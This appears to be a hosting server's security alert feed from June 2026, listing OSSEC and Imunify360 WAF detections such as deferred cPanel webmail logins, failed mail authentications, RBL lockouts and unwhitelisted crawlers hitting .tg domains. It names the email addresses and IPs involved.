abuser: 102.212.93.42
country_id: 2363686
description:
[2026-06-12 11:34:58 +0000] info [webmaild] 102.212.93.42 - daf@ucao-uut.tg "GET /cPanel_magic_revision_1726168667/webmail/jupiter/styles/fonts.min.css HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.48] != Current IP Address [102.212.93.42]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.43
country_id: 2363686
description:
[2026-06-12 11:35:11 +0000] info [webmaild] 102.212.93.43 - daf@ucao-uut.tg "GET /cpsess6030291140/3rdparty/roundcube/skins/elastic/deps/bootstrap.min.css?s=1774777731 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.42] != Current IP Address [102.212.93.43]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 11:36:19 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4180: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.238.38.101
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.238.38.101||TA:104.238.38.101||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.43
country_id: 2363686
description:
[2026-06-12 11:35:23 +0000] info [webmaild] 102.212.93.43 - daf@ucao-uut.tg "GET /cpsess9755283707/3rdparty/roundcube/skins/elastic/deps/bootstrap.min.css?s=1774777731 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.36] != Current IP Address [102.212.93.43]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.55
country_id: 2363686
description:
[2026-06-12 11:35:47 +0000] info [webmaild] 102.212.93.55 - daf@ucao-uut.tg "GET /cpsess9755283707/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.38] != Current IP Address [102.212.93.55]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 11:36:33 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 11:36:28 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4181: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.44
country_id: 2363686
description:
[2026-06-12 11:37:32 +0000] info [webmaild] 102.212.93.44 - daf@ucao-uut.tg "GET /cpsess2043731474/3rdparty/roundcube/plugins/jqueryui/themes/elastic/jquery-ui.min.css?s=1774777727 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.45] != Current IP Address [102.212.93.44]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.36
country_id: 2363686
description:
[2026-06-12 11:38:01 +0000] info [webmaild] 102.212.93.36 - daf@ucao-uut.tg "GET /cpsess2043731474/3rdparty/roundcube/?_task=mail&_token=dspBq6pMUgCQICGkxeBnrNGHPUMoXQ6J HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.52] != Current IP Address [102.212.93.36]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.59
country_id: 2363686
description:
[2026-06-12 11:38:11 +0000] info [webmaild] 102.212.93.59 - daf@ucao-uut.tg "GET /cpsess2883785971/3rdparty/roundcube/skins/elastic/styles/styles.min.css?s=1774777728 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.60] != Current IP Address [102.212.93.59]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 11:37:29 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4183: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.131
country_id: 1880251
description:
47.128.96.131 - - [12/Jun/2026:11:39:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9945756&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781264352 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.131


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.63
country_id: 2363686
description:
[2026-06-12 11:39:34 +0000] info [webmaild] 102.212.93.63 - daf@ucao-uut.tg "GET /cpsess4745087469/3rdparty/roundcube/skins/elastic/deps/bootstrap.min.css?s=1774777731 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.55] != Current IP Address [102.212.93.63]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.47
country_id: 2363686
description:
[2026-06-12 11:39:45 +0000] info [webmaild] 102.212.93.47 - daf@ucao-uut.tg "GET /cpsess5070779452/3rdparty/roundcube/skins/elastic/deps/bootstrap.min.css?s=1774777731 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.58] != Current IP Address [102.212.93.47]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.111.126.41
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:142.111.126.41||TA:142.111.126.41||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.116.110
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.116.110||TA:152.232.116.110||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.241.118.135
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:192.241.118.135||TA:192.241.118.135||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.74.118.204
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:216.74.118.204||TA:216.74.118.204||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.37.109.210
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:198.37.109.210||TA:198.37.109.210||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.80.151
country_id: 6251999
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:216.173.80.151||TA:216.173.80.151||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.217.245.249
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:204.217.245.249||TA:204.217.245.249||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.50
country_id: 2363686
description:
[2026-06-12 11:41:00 +0000] info [webmaild] 102.212.93.50 - daf@ucao-uut.tg "GET /cpsess5070779452/3rdparty/roundcube/skins/elastic/images/favicon.ico?s=1774777728 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.35] != Current IP Address [102.212.93.50]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.127.97.233
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:209.127.97.233||TA:209.127.97.233||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.66.202
country_id: 2363686
description:
[2026-06-12 11:40:36 +0000] info [webmaild] 196.170.66.202 - illene.e@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.70.218
country_id: 2921044
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:206.232.70.218||TA:206.232.70.218||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.151.160
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:148.135.151.160||TA:148.135.151.160||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.244.41.133
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:173.244.41.133||TA:173.244.41.133||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 166.88.169.176
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:166.88.169.176||TA:166.88.169.176||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.43.200
country_id: 6251999
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.239.43.200||TA:104.239.43.200||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 166.88.110.192
country_id: 298795
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:166.88.110.192||TA:166.88.110.192||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.33.155
country_id: 6251999
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.239.33.155||TA:104.239.33.155||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 156.245.246.154
country_id: 241170
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:11-42.156.245.246.154||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.242.203.142
country_id: 3190538
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:209.242.203.142||TA:209.242.203.142||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 11:43:01 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.175.234.58
country_id: 6252001
description:
Jun 12 11:43:52 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.175.234.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.175.234.58
country_id: 6252001
description:
2026-06-12 11:43:54 dovecot_plain authenticator failed for H=(xs8ow3r0iwqs7gz23wv06) [66.175.234.58]:48248: 535 Incorrect authentication data (set_id=emmanuel.megbenu@mesyscom.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.66.202
country_id: 2363686
description:
[2026-06-12 11:43:58 +0000] info [webmaild] 196.170.66.202 - illene.e@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


